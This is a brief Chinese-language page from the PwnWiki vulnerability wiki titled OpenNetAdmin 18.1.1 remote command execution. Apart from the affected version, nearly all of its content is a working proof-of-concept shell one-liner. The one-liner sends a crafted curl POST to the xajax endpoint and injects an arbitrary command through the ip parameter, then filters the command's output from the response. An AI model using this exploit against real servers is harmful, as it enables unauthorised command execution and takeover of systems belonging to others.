Loading
◆◆0

OpenNetAdmin 18.1.1 远程命令执行

免费、自由、人人可编辑的漏洞库--PwnWiki.com

,

影响版本：

OpenNetAdmin 18.1.1

POC：

cmd=whoami;URL=http://1.1.1.1/www/;curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs=tooltips&xajaxargs=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

Exploit Analysis - OpenNetAdmin 18.1.1 RCE

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库